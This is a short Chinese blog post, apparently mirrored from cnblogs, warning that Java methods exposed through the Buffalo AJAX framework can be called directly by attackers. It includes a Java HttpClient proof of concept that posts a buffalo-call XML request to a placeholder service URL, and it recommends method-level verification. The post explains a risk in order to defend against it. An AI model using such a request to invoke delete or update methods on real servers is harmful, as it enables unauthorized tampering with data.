zoukankan      html  css  js  c++  java
  • buffalo dwr漏洞

    在编写java代码的时候,我们可能经常使用buffalo实现AJAX的调用,将一个java代码直接发布成可以js可远程调用的

    方法,在得到方便的同时,可能我们忽略了安全问题,如果java代码不是读取数据那么简单,而是删除,更新数据库

    或者文件操作的方法。

    黑客就很有可能通过如下代码进行攻击,想想如果该方法是个删除关键数据的操作,那就危险了。

    public static void post() throws HttpException, IOException
     {

      //请求地址
      String serviceUrl = http://×××:8080/aaa/bfapp/buffalo/userService;

       //请求参数
      String strRequest = "<buffalo-call><method>方法名</method></buffalo-call>";
      
      
      PostMethod post = new PostMethod(serviceUrl);
      post.addRequestHeader(new Header("X-Buffalo-Version","2.0"));
      post.addRequestHeader(new Header("Content-Type","text/xml;charset=utf-8"));
      RequestEntity entity = new StringRequestEntity(strRequest);
         post.setRequestEntity(entity);
           
            HttpClient httpclient = new HttpClient();
            try {
                int result = httpclient.executeMethod(post);
                // Display status code
                System.out.println("Response status code: " + result);
                // Display response
                System.out.println("Response body: ");
                System.out.println(post.getResponseBodyAsString());
            } finally {
                // Release current connection to the connection pool once you are done
                post.releaseConnection();
            }
     }

     所以我们调用使用buffalo的时候,要注意方法保护,涉及到删除操作的时候最好在java代码中做方法验证。

    发布数据的服务写到一个类中。

  • 相关阅读:
    [THREEJS]坐标高精度问题
    纹理的寻址方式
    [1009]JS语言精髓与编程实践笔记1
    万向锁
    (转)primitive restarting
    西藏游记
    平衡二叉树(AVL tree)
    初探redis事务
    redis发布与订阅
    初探redis分布式锁
  • 原文地址:https://www.cnblogs.com/yg_zhang/p/1311554.html
Copyright © 2011-2022 走看看